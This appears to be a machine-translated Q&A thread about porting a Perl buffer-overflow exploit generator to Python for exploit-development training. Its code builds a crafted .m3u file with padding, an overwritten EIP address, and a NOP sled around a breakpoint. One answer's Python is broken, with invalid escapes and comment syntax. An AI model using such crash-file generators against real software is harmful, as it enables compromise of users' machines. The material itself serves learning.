10

我最近一直在进行一些漏洞利用开发以准备参加培训课程,但我遇到了一个教程问题。我一直在关注我能找到的所有教程,使用 Python 而不是教程使用的语言,出于偏好。我正在尝试对所有内容进行交叉编码,但我不知道如何交叉编码 Perl 的 Pack() 函数。

TL; DR:我正在尝试将其翻译成 python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了 Python 的 struct.pack() 函数,但是当我使用

Fuzzed.write(struct.pack('V', 0x773D10A4))

,它会停止程序并且不起作用。我究竟做错了什么?

这是我的全部源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
4

5 回答 5

11

尝试使用"L<"包模板而不是"V". 这应该在 Perl 和 Python 中都有效。NandV是一种较旧的 Perl 指定字节顺序的方法,<and>是较新的方法。看起来当 Pythonpack从 Perl 中借用时,它只采用了更新、更灵活的接口。

编辑: Python 想要< 类型说明符之前,而 Perl 想要. 不太兼容:(

于 2011-06-17T17:42:28.553 回答
8

Pythonstruct.pack使用第一个字符作为字节序/大小变化,然后使用一个或多个作为数据类型。Perl 的V 意思是32bit unsigned int/little-endian。

Python 的类似物是struct.pack('<I', 0x773D10A4).

于 2011-06-17T17:42:34.847 回答
2

i've already translated to python and i've already tried for MP3 converter. Here is your answer:

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"
于 2016-03-28T21:10:20.813 回答
1

这正是你想要的。培训课程怎么样?

import struct 

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'
于 2013-11-16T14:11:36.403 回答
0

我正在学习相同/相似的教程。对我来说完全有效的是尼克的回答。我还测试了在易受攻击的软件上创建的 m3u 文件。它确实有效,尽管我的 EIP 地址不同。我在 linux 机器上使用 python 3.7.5 运行它。这是修改后的代码:

import struct

Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)

我们需要将所有内容都转换为字节对象的原因是 pack 函数返回一个字节对象,我们不能将它与字符串连接起来。str(struct.pack('<I',0x773D10A4)) 也不起作用。您也可以使用 0x773D10A4.to_bytes(4, 'little') 来代替 pack。另一种方法是手动重新排列字节:

string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77' 
于 2020-08-06T14:57:19.363 回答